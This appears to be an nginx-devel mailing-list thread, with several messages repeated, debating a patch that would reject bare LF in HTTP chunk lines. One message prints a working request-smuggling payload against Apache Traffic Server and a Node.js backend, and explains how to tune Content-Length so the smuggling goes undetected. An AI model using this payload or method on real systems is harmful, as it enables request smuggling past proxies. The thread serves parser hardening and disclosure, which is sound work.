Re: [PATCH] Enforce that CR precede LF in chunk lines
> Overall, I don't think there is a big difference here. All I can say is that the hardest part of pulling off that type of attack is guessing the length correctly. If you want to make that job marginally easier, that's fine by me :) > It won't, because "-C" is a non-portable flag provided by a Debian-specific patch. There is a CRLF option for nmap-ncat, openbsd netcat, and netcat-traditional, as well as whatever nc ships with macOS. GNU netcat doesn't support it, but it's unmaintained anyway. > And even if it will work for some, this will still complicate testing. Most of the tests already use CRLF appropriately. Test cases that use bare LF in chunks are inadvertently also testing an Nginx quirk in addition to what they are intending to test, which is probably undesirable. -Ben ___ nginx-devel mailing list nginx-devel@nginx.org https://mailman.nginx.org/mailman/listinfo/nginx-devel
Re: [PATCH] Enforce that CR precede LF in chunk lines
Hello! On Thu, Jan 25, 2024 at 08:32:17PM +, Ben Kallus wrote: > > Still, there is a robustness principle which allows applications > > to parse requests with various deviations from the grammar. > > Whether this is principle is good is a matter of opinion. I tend to > lean toward thinking that it is not (as you can probably tell) but > reasonable minds will differ on this point. > > > You may want to be more specific what "off by one" means here. > > Happy to :) > > Here's an example of a payload that smuggles a request past Apache > Traffic Server to a Node.js backend: > ``` > POST / HTTP/1.1\r\n > Transfer-Encoding: chunked\r\n > \r\n > 2\r\r > ;a\r\n > 02\r\n > 2d\r\n > 0\r\n > \r\n > DELETE / HTTP/1.1\r\n > Content-Length: 183\r\n > \r\n > 0\r\n\r\nGET / HTTP/1.1\r\n\r\n > ``` > The exact mechanism of this payload is relatively unimportant (it has > to do with the `2\r\r;a`). The important point is that the POST is > seen by both ATS and Node, the DELETE is seen only by Node, and the > GET is seen only by ATS. Thus, the DELETE request is smuggled. > > (A very similar attack worked on Google Cloud's classic application > load balancer, and on Akamai's load balancer until very recently when > companies patched the bugs. I'm still working on the writeup for those > bugs, but you can see us present the material here: > https://yewtu.be/watch?v=aKPAX00ft5s=2h19m0s) > > You'll notice that the DELETE request has a Content-Length header. > This is because in order for the smuggling to go undetected, the > response to the DELETE request needs to be sent only after the GET > request is forwarded. One way to do this is to add a message body to > the DELETE request, so that it remains incomplete until the arrival of > the GET request. It is therefore necessary for the attacker to predict > the length of the GET request after it has passed through the reverse > proxy, so that this length can be used to compute the Content-Length > (or chunk size) in the DELETE request. Because reverse proxies often > modify requests, this is not always straightforward. > > In this instance, I use a Content-Length header of 183 because with > the configuration of ATS that I was attacking, `GET / > HTTP/1.1\r\n\r\n` ends up becoming 178 bytes long due to the insertion > of X-Forwarded-For, Via, etc., +5 for `0\r\n\r\n`. If I had used a > length less than 183, then Node would send a 400 after responding to > the DELETE request, which makes the reverse proxy aware that request > smuggling has occurred. If I had used a length greater than 183, then > Node would time out waiting for the rest of the DELETE request's > message body. Thus, I need to guess the length exactly right to pull > off undetected request smuggling. Guessing correctly can be > challenging, especially when added headers have unpredictable lengths. > This is common with CDNs, which often insert random identifiers into > request headers. > > If instead of using Content-Length, I had used a chunked message body > to smuggle the DELETE request, and the backend server allows bare LF > as a chunk line terminator, then my length guess could be one less > than the correct value without invalidating the message for servers > that accept bare LF in chunk lines. Thus, when developing future > request smuggling attacks, getting my length guess correct is a little > easier when the backend server allows bare LF chunk line endings. As far as I understand what goes on here and what do you mean by using a chunked message body, with length guess which is one less than the correct value you'll end up with LF + "\r\n0\r\n\r\n" at the request end, which will result in 400. Length which is one more will work though, so understood, thanks. In the original exploit length which is two less should work though, due to the "SHOULD ignore at least one empty line (CRLF) received prior to the request-line" robustness exception in 2.2. Message parsing of RFC 9112. And one less might also work, as long as empty lines before the request-line accept bare LF (not sure about Node though). Overall, I don't think there is a big difference here. > > including manual testing such > > as with nc(1). > > If you pass the -C flag, nc will translate LF to CRLF for you :) It won't, because "-C" is a non-portable flag provided by a Debian-specific patch. And even if it will work for some, this will still complicate testing. -- Maxim Dounin http://mdounin.ru/ ___ nginx-devel mailing list nginx-devel@nginx.org https://mailman.nginx.org/mailman/listinfo/nginx-devel
Re: [PATCH] Enforce that CR precede LF in chunk lines
> Still, there is a robustness principle which allows applications > to parse requests with various deviations from the grammar. Whether this is principle is good is a matter of opinion. I tend to lean toward thinking that it is not (as you can probably tell) but reasonable minds will differ on this point. > You may want to be more specific what "off by one" means here. Happy to :) Here's an example of a payload that smuggles a request past Apache Traffic Server to a Node.js backend: ``` POST / HTTP/1.1\r\n Transfer-Encoding: chunked\r\n \r\n 2\r\r ;a\r\n 02\r\n 2d\r\n 0\r\n \r\n DELETE / HTTP/1.1\r\n Content-Length: 183\r\n \r\n 0\r\n\r\nGET / HTTP/1.1\r\n\r\n ``` The exact mechanism of this payload is relatively unimportant (it has to do with the `2\r\r;a`). The important point is that the POST is seen by both ATS and Node, the DELETE is seen only by Node, and the GET is seen only by ATS. Thus, the DELETE request is smuggled. (A very similar attack worked on Google Cloud's classic application load balancer, and on Akamai's load balancer until very recently when companies patched the bugs. I'm still working on the writeup for those bugs, but you can see us present the material here: https://yewtu.be/watch?v=aKPAX00ft5s=2h19m0s) You'll notice that the DELETE request has a Content-Length header. This is because in order for the smuggling to go undetected, the response to the DELETE request needs to be sent only after the GET request is forwarded. One way to do this is to add a message body to the DELETE request, so that it remains incomplete until the arrival of the GET request. It is therefore necessary for the attacker to predict the length of the GET request after it has passed through the reverse proxy, so that this length can be used to compute the Content-Length (or chunk size) in the DELETE request. Because reverse proxies often modify requests, this is not always straightforward. In this instance, I use a Content-Length header of 183 because with the configuration of ATS that I was attacking, `GET / HTTP/1.1\r\n\r\n` ends up becoming 178 bytes long due to the insertion of X-Forwarded-For, Via, etc., +5 for `0\r\n\r\n`. If I had used a length less than 183, then Node would send a 400 after responding to the DELETE request, which makes the reverse proxy aware that request smuggling has occurred. If I had used a length greater than 183, then Node would time out waiting for the rest of the DELETE request's message body. Thus, I need to guess the length exactly right to pull off undetected request smuggling. Guessing correctly can be challenging, especially when added headers have unpredictable lengths. This is common with CDNs, which often insert random identifiers into request headers. If instead of using Content-Length, I had used a chunked message body to smuggle the DELETE request, and the backend server allows bare LF as a chunk line terminator, then my length guess could be one less than the correct value without invalidating the message for servers that accept bare LF in chunk lines. Thus, when developing future request smuggling attacks, getting my length guess correct is a little easier when the backend server allows bare LF chunk line endings. > including manual testing such > as with nc(1). If you pass the -C flag, nc will translate LF to CRLF for you :) ___ nginx-devel mailing list nginx-devel@nginx.org https://mailman.nginx.org/mailman/listinfo/nginx-devel
Re: [PATCH] Enforce that CR precede LF in chunk lines
Hello! On Thu, Jan 25, 2024 at 03:21:16AM +, Ben Kallus wrote: > The HTTP/1.1 standards allow the recognition of bare LF as a line > terminator in some contexts. > > From RFC 9112 Section 2.2: > > Although the line terminator for the start-line and fields is the sequence > > CRLF, a recipient MAY recognize a single LF as a line terminator and ignore > > any preceding CR. > > From RFC 7230 Section 3.5: > > Although the line terminator for the start-line and header fields is > > the sequence CRLF, a recipient MAY recognize a single LF as a line > > terminator and ignore any preceding CR. > > From RFC 2616 Section 19.3: > > The line terminator for message-header fields is the sequence CRLF. > > However, we recommend that applications, when parsing such headers, > > recognize a single LF as a line terminator and ignore the leading CR. > > In summary, bare LF can be recognized as a line terminator for a > field-line (i.e. a header or trailer) or a start-line, but not outside > of these contexts. In particular, bare LF is not an acceptable line > terminator for chunk data lines or chunk size lines. One of the > rejection messages for an RFC 9112 errata report makes the reasoning > behind this choice clear: > > > The difference was intentional. A chunked parser is not a start line or > > field parser (it is a message body parser) and it is supposed to be less > > forgiving because it does not have to retain backwards compatibility with > > 1.0 parsers. > > Hence, bare LF around the chunk sizes would be invalid and should result in > > the connection being marked as invalid. Still, there is a robustness principle which allows applications to parse requests with various deviations from the grammar. Quoting RFC 2616: Although this document specifies the requirements for the generation of HTTP/1.1 messages, not all applications will be correct in their implementation. We therefore recommend that operational applications be tolerant of deviations whenever those deviations can be interpreted unambiguously. As such, it is certainly valid for a HTTP/1.1 server based on RFC 2616 to accept LF as line terminator in chunk sizes. While RFC 7230 and RFC 9112 tried to harden requirements, and now say that "the server SHOULD respond with 400" on deviations which are not explicitly allowed, it is still not a violation to accept such deviations. > Currently, Nginx allows chunk lines (both size and data) to use bare > LF as a line terminator. This means that (for example) the following > payload is erroneously accepted: > ``` > POST / HTTP/1.1\r\n > Host: whatever\r\n > Transfer-Encoding: chunked\r\n > 0\n# <--- This is > missing a \r > \r\n > ``` > > This is probably not such a big deal, but it is a standards violation, > and it comes with one small consequence: chunk lengths that are off by > one will not invalidate the message body. > > I've developed a few request smuggling exploits against other servers > and proxies in the past that rely upon the attacker's ability to > predict the length of a request after it has passed through a reverse > proxy. This is usually straightforward, but if there are any > unpredictable headers inserted by the proxy, getting the guess right > becomes nontrivial. Being able to be off by one thus makes the > attacker's job a little bit easier. You may want to be more specific what "off by one" means here. While it is true that an attacker which isn't able to generate proper CRLF for some reason might be stopped by such a restriction, it still needs to ensure there is an LF, which makes things mostly equivalent in almost all cases. > Given that many popular HTTP implementations (Apache httpd, Node, > Boost::Beast, Lighttpd) adhere to the standard on this line > termination issue, we should expect this change to break almost no > clients, since any client generating requests that terminate chunk > lines with bare LF would already be incompatible with a large portion > of the web. > > It is, however, also true that many HTTP implementations (Go net/http, > H2O, LiteSpeed) exhibit the same behavior as Nginx, and it's probably > worth exploring why that is. > > The following patch changes Nginx's parsing behavior to match the > standard. Note that this patch does not stop Nginx from allowing bare > LF in request lines, response lines, headers, or trailers. It stops > Nginx from accepting bare LF only in chunk size and data lines, where > the standard does not permit LF/CRLF permissiveness. It's also a > delete-only patch, which is always nice :) > > If you all are open to this change, it will also be necessary to fix > up the many LF-delimited chunks that are present within the test > suite. No, thanks. There are little-to-no benefits from such a change, but the change will needlessly complicate testing, including manual testing such as with nc(1). -- Maxim Dounin http://mdounin.ru/
